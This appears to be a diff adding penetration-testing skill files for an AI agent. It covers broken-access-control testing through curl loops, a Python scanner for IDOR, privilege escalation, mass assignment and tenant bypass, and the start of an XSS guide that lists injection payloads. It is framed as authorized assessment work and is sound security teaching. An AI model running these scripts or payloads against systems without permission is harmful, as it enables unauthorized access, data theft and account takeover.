4: Test Horizontal Privilege Escalation + +Verify that users cannot access resources belonging to other users at the same privilege level. + +```bash +# User A (ID: 101) testing access to User B's (ID: 102) resources +USER_A_TOKEN="Bearer user_a_jwt" + +RESOURCES=( + "/api/users/102/profile" + "/api/users/102/orders" + "/api/users/102/messages" + "/api/users/102/documents" + "/api/users/102/settings" + "/api/users/102/payment-methods" +) + +for resource in "${RESOURCES[@]}"; do + echo -n "GET $resource: " + response=$(curl -s -w "\n%{http_code}" \ + -H "Authorization: $USER_A_TOKEN" \ + "https://target.example.com$resource") + status=$(echo "$response" | tail -1) + body_len=$(echo "$response" | head -n -1 | wc -c) + if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then + echo "VULNERABLE ($status, $body_len bytes)" + else + echo "OK ($status)" + fi +done + +# Test write operations across users +curl -s -X PUT \ + -H "Authorization: $USER_A_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"name":"Hacked","email":"hacked@evil.com"}' \ + "https://target.example.com/api/users/102/profile" -w "%{http_code}" + +# Test delete operations +curl -s -X DELETE \ + -H "Authorization: $USER_A_TOKEN" \ + "https://target.example.com/api/users/102/documents/1" -w "%{http_code}" +``` + +### Step 5: Test Function-Level Access Control + +Verify that specific functions enforce authorization properly. + +```bash +# Test unauthenticated access to protected endpoints +PROTECTED_ENDPOINTS=( + "/api/user/profile" + "/api/transactions" + "/api/settings" + "/admin/dashboard" + "/api/export/users" +) + +for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do + echo -n "No auth: GET $endpoint: " + curl -s -o /dev/null -w "%{http_code}" \ + "https://target.example.com$endpoint" + echo +done + +# Test with expired/invalid tokens +curl -s -o /dev/null -w "%{http_code}" \ + -H "Authorization: Bearer invalid_token_here" \ + "https://target.example.com/api/user/profile" + +# Test role manipulation in JWT claims +# If JWT contains role claim, try modifying it +# (requires JWT vulnerability - see JWT testing skill) + +# Test parameter-based role escalation +curl -s -X PUT \ + -H "Authorization: $USER_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \ + "https://target.example.com/api/users/101/profile" + +# Test registration with elevated role +curl -s -X POST \ + -H "Content-Type: application/json" \ + -d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \ + "https://target.example.com/api/auth/register" +``` + +### Step 6: Test Multi-Tenant Isolation + +Verify that tenant boundaries are enforced in multi-tenant applications. + +```bash +# User in Tenant A testing access to Tenant B's resources +TENANT_A_TOKEN="Bearer tenant_a_user_jwt" + +# Direct tenant resource access +curl -s -H "Authorization: $TENANT_A_TOKEN" \ + "https://target.example.com/api/organizations/tenant-b-id/users" | jq . + +curl -s -H "Authorization: $TENANT_A_TOKEN" \ + "https://target.example.com/api/organizations/tenant-b-id/settings" | jq . + +# Test tenant switching via header +curl -s -H "Authorization: $TENANT_A_TOKEN" \ + -H "X-Tenant-ID: tenant-b-id" \ + "https://target.example.com/api/users" | jq . + +# Test tenant ID in request body +curl -s -X POST \ + -H "Authorization: $TENANT_A_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \ + "https://target.example.com/api/reports/custom" + +# Enumerate tenant IDs +ffuf -u "https://target.example.com/api/organizations/FUZZ" \ + -w <(seq 1 100) \ + -H "Authorization: $TENANT_A_TOKEN" \ + -mc 200 -t 10 -rate 20 +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **Vertical Privilege Escalation** | Lower-privilege user accessing higher-privilege functionality (user -> admin) | +| **Horizontal Privilege Escalation** | User accessing another user's resources at the same privilege level | +| **Function-Level Access Control** | Authorization checks on specific features/functions regardless of URL | +| **RBAC** | Role-Based Access Control - permissions assigned to roles, roles assigned to users | +| **ABAC** | Attribute-Based Access Control - permissions based on user/resource/environment attributes | +| **Multi-Tenant Isolation** | Ensuring data and functionality separation between different organizations/tenants | +| **Insecure Direct Object Reference** | Accessing objects by manipulating identifiers without authorization checks | +| **Missing Function-Level Check** | Endpoint exists but does not verify the caller has permission to invoke it | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| **Burp Suite Professional** | Request interception and role-based testing | +| **Authorize (Burp Extension)** | Automated access control testing across sessions | +| **AutoRepeater (Burp Extension)** | Automatically replays requests with different auth contexts | +| **Postman** | API testing with environment switching between roles | +| **ffuf** | Discovering hidden endpoints that may lack access controls | +| **OWASP ZAP** | Access control testing with context-aware scanning | + +## Common Scenarios + +### Scenario 1: Admin Panel Without Auth Check +The `/admin/dashboard` endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks. + +### Scenario 2: API Endpoint Missing Authorization +The `DELETE /api/users/{id}` endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account. + +### Scenario 3: Tenant Data Leakage +A SaaS application uses `tenant_id` in API request headers. Changing the `X-Tenant-ID` header to another tenant's ID returns their data, bypassing tenant isolation. + +### Scenario 4: Mass Assignment Role Escalation +The user profile update endpoint at `PUT /api/users/{id}` accepts a `role` field in the JSON body. Submitting `"role":"admin"` alongside a profile update elevates the user to administrator. + +## Output Format + +``` +## Broken Access Control Assessment Report + +**Target**: target.example.com +**Assessment Date**: 2024-01-15 +**OWASP Category**: A01:2021 - Broken Access Control + +### Access Control Matrix Results +| Endpoint | Admin | Manager | User | Guest | Expected | Actual | +|----------|-------|---------|------|-------|----------|--------| +| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL | +| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL | +| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL | +| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL | +| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL | + +### Critical Findings +1. **Vertical Escalation**: Regular users can access /admin/* endpoints +2. **Horizontal IDOR**: Users can read/modify other users' profiles +3. **Tenant Isolation**: Cross-tenant data access via header manipulation +4. **Mass Assignment**: Role escalation via profile update endpoint + +### Impact +- Complete administrative access for any authenticated user +- Full user data access across all accounts (15,000+ users) +- Cross-tenant data breach affecting 200+ organizations +- Account takeover via profile modification + +### Recommendation +1. Implement server-side authorization checks on every endpoint +2. Use a centralized authorization middleware/framework +3. Enforce object-level authorization (verify ownership before access) +4. Validate tenant context server-side, never from client headers +5. Use allowlists for mass assignment (only permit expected fields) +6. Implement audit logging for all access control decisions +``` diff --git a/.claude/skills/testing-for-broken-access-control/references/api-reference.md b/.claude/skills/testing-for-broken-access-control/references/api-reference.md new file mode 100644 index 0000000..e02939b --- /dev/null +++ b/.claude/skills/testing-for-broken-access-control/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Testing for Broken Access Control + +## requests Library + +### Authentication Patterns +```python +# Bearer token authentication +headers = {"Authorization": "Bearer ", "Content-Type": "application/json"} + +# Cookie-based authentication +cookies = {"session": "session_value"} + +# Multiple methods +resp = requests.request("DELETE", url, headers=headers) +``` + +## Test Categories + +### Vertical Privilege Escalation +Test admin endpoints with regular user credentials: +```python +for endpoint in admin_endpoints: + resp = requests.get(url, headers=user_headers) + # 200 = VULNERABLE, 403 = properly restricted +``` + +### Horizontal Privilege Escalation (IDOR) +Access other users' resources: +```python +# Replace {id} with other user's ID +resp = requests.get(f"/api/users/{other_id}/profile", headers=user_headers) +``` + +### HTTP Method Override +```python +override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"] +``` + +### Mass Assignment Fields +| Field | Description | +|-------|-------------| +| `role` | User role (admin, user) | +| `is_admin` | Boolean admin flag | +| `permissions` | Permission array | +| `access_level` | Numeric access level | +| `user_type` | User type classification | + +## Response Status Interpretation +| Status | Meaning | +|--------|---------| +| 200/201 | Access granted (potential vulnerability if unexpected) | +| 401 | Not authenticated | +| 403 | Authenticated but not authorized (correct behavior) | +| 404 | Resource not found (may hide from unauthorized users) | +| 405 | Method not allowed | + +## OWASP References +- A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ +- WSTG Access Control: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/ +- IDOR Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References diff --git a/.claude/skills/testing-for-broken-access-control/scripts/agent.py b/.claude/skills/testing-for-broken-access-control/scripts/agent.py new file mode 100644 index 0000000..07c953b --- /dev/null +++ b/.claude/skills/testing-for-broken-access-control/scripts/agent.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python3 +"""Agent for testing broken access control vulnerabilities during authorized assessments.""" + +import requests +import json +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urljoin + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def test_vertical_escalation(base_url, user_token, admin_endpoints): + """Test if a regular user can access admin endpoints.""" + print("\n[*] Testing vertical privilege escalation...") + findings = [] + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + methods = ["GET", "POST", "PUT", "DELETE"] + for endpoint in admin_endpoints: + for method in methods: + url = urljoin(base_url, endpoint) + try: + resp = requests.request(method, url, headers=headers, timeout=10, verify=False) + if resp.status_code in (200, 201, 204): + findings.append({ + "type": "VERTICAL_ESCALATION", "method": method, + "url": url, "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: {method} {endpoint} -> {resp.status_code}") + except requests.RequestException: + continue + print(f"[*] {len(findings)} vertical escalation findings") + return findings + + +def test_horizontal_escalation(base_url, user_token, resource_templates, other_user_ids): + """Test if a user can access another user's resources.""" + print("\n[*] Testing horizontal privilege escalation (IDOR)...") + findings = [] + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + for template in resource_templates: + for uid in other_user_ids: + url = urljoin(base_url, template.replace("{id}", str(uid))) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "type": "HORIZONTAL_ESCALATION", "url": url, + "user_id": uid, "status": resp.status_code, + "body_length": len(resp.text), "severity": "CRITICAL", + }) + print(f" [!] IDOR: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)") + except requests.RequestException: + continue + print(f"[*] {len(findings)} horizontal escalation findings") + return findings + + +def test_method_override(base_url, user_token, endpoint): + """Test HTTP method override headers for access control bypass.""" + print(f"\n[*] Testing method override on {endpoint}...") + findings = [] + url = urljoin(base_url, endpoint) + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"] + for oh in override_headers: + for method in ["DELETE", "PUT", "PATCH"]: + test_headers = {**headers, oh: method} + try: + resp = requests.post(url, headers=test_headers, timeout=10, verify=False) + if resp.status_code in (200, 201, 204): + findings.append({ + "type": "METHOD_OVERRIDE_BYPASS", "url": url, + "override_header": oh, "method": method, + "status": resp.status_code, "severity": "HIGH", + }) + print(f" [!] {oh}: {method} -> {resp.status_code}") + except requests.RequestException: + continue + return findings + + +def test_unauthenticated_access(base_url, protected_endpoints): + """Test if protected endpoints are accessible without authentication.""" + print("\n[*] Testing unauthenticated access...") + findings = [] + for endpoint in protected_endpoints: + url = urljoin(base_url, endpoint) + try: + resp = requests.get(url, timeout=10, verify=False) + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "type": "UNAUTHENTICATED_ACCESS", "url": url, + "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] OPEN: GET {endpoint} -> {resp.status_code}") + except requests.RequestException: + continue + print(f"[*] {len(findings)} unauthenticated access findings") + return findings + + +def test_mass_assignment(base_url, user_token, profile_endpoint): + """Test if role/privilege fields can be modified via profile update.""" + print(f"\n[*] Testing mass assignment on {profile_endpoint}...") + findings = [] + url = urljoin(base_url, profile_endpoint) + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + payloads = [ + {"role": "admin"}, {"is_admin": True}, {"permissions": ["admin", "superuser"]}, + {"user_type": "administrator"}, {"access_level": 99}, + ] + for payload in payloads: + try: + resp = requests.put(url, headers=headers, json=payload, timeout=10, verify=False) + if resp.status_code in (200, 201): + field = list(payload.keys())[0] + resp_text = resp.text.lower() + if str(payload[field]).lower() in resp_text: + findings.append({ + "type": "MASS_ASSIGNMENT", "url": url, + "field": field, "value": payload[field], "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: {field}={payload[field]} accepted") + except requests.RequestException: + continue + return findings + + +def test_tenant_isolation(base_url, tenant_a_token, tenant_b_resources): + """Test cross-tenant data access.""" + print("\n[*] Testing tenant isolation...") + findings = [] + headers = {"Authorization": f"Bearer {tenant_a_token}", "Content-Type": "application/json"} + for resource in tenant_b_resources: + url = urljoin(base_url, resource) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "type": "TENANT_ISOLATION_BREACH", "url": url, + "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] CROSS-TENANT: {url} -> {resp.status_code}") + except requests.RequestException: + continue + return findings + + +def generate_report(findings, output_path): + """Generate access control assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_type": {}, + "by_severity": {}, + "findings": findings, + } + for f in findings: + t = f.get("type", "UNKNOWN") + s = f.get("severity", "INFO") + report["by_type"][t] = report["by_type"].get(t, 0) + 1 + report["by_severity"][s] = report["by_severity"].get(s, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Findings: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="Broken Access Control Testing Agent") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--user-token", help="Regular user's Bearer token") + parser.add_argument("--admin-endpoints", nargs="+", + default=["/admin/dashboard", "/admin/users", "/api/admin/settings"]) + parser.add_argument("--resource-templates", nargs="+", + default=["/api/users/{id}/profile", "/api/users/{id}/orders"]) + parser.add_argument("--other-ids", nargs="+", default=["2", "3", "100", "101"]) + parser.add_argument("-o", "--output", default="access_control_report.json") + args = parser.parse_args() + + print(f"[*] Broken Access Control Assessment: {args.base_url}") + findings = [] + findings.extend(test_unauthenticated_access(args.base_url, args.admin_endpoints)) + if args.user_token: + findings.extend(test_vertical_escalation(args.base_url, args.user_token, args.admin_endpoints)) + findings.extend(test_horizontal_escalation(args.base_url, args.user_token, + args.resource_templates, args.other_ids)) + findings.extend(test_method_override(args.base_url, args.user_token, args.admin_endpoints[0])) + findings.extend(test_mass_assignment(args.base_url, args.user_token, "/api/users/me")) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/testing-for-xss-vulnerabilities/LICENSE b/.claude/skills/testing-for-xss-vulnerabilities/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/testing-for-xss-vulnerabilities/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/testing-for-xss-vulnerabilities/SKILL.md b/.claude/skills/testing-for-xss-vulnerabilities/SKILL.md new file mode 100644 index 0000000..eaa0b56 --- /dev/null +++ b/.claude/skills/testing-for-xss-vulnerabilities/SKILL.md @@ -0,0 +1,201 @@ +--- +name: testing-for-xss-vulnerabilities +description: Tests web applications for reflected, stored, and DOM-based Cross-Site + Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active + Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session + hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or + when evaluating input sanitization and output encoding coverage. +domain: cybersecurity +subdomain: penetration-testing +tags: +- XSS +- cross-site-scripting +- client-side-security +- OWASP-A03 +- JavaScript-injection +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- ID.RA-01 +- ID.RA-06 +- GV.OV-02 +- DE.AE-07 +mitre_attack: +- T1595 +- T1190 +- T1059 +- T1078 +- T1055 +--- +# Testing for XSS Vulnerabilities + +## When to Use + +- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing +- Evaluating the effectiveness of input sanitization and output encoding across all application features +- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation +- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders +- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering + +**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments. + +## Prerequisites + +- Authorized scope defining the target web application and acceptable testing activities +- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++) +- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter) +- XSS Hunter or Burp Collaborator for out-of-band payload verification +- SecLists XSS payload lists and custom payloads for WAF bypass scenarios + + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + +## Workflow + +### Step 1: Input and Output Mapping + +Map every location where user input enters and is rendered by the application: + +- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response +- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages +- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM +- **Output context identification**: For each reflected input, determine the rendering context: + - HTML body: `
USER_INPUT
` + - HTML attribute: `` + - JavaScript string: `var x = 'USER_INPUT';` + - URL context: `` + - CSS context: `
` + +### Step 2: Reflected XSS Testing + +Test reflected injection points with context-appropriate payloads: + +- **HTML body context**: ``, ``, `` +- **HTML attribute context**: `" onfocus=alert(1) autofocus="`, `" onmouseover=alert(1) "`, `">` +- **JavaScript string context**: `';alert(1)//`, `\';alert(1)//`, `` +- **URL/href context**: `javascript:alert(1)`, `data:text/html,` +- **Inside HTML comments**: `-->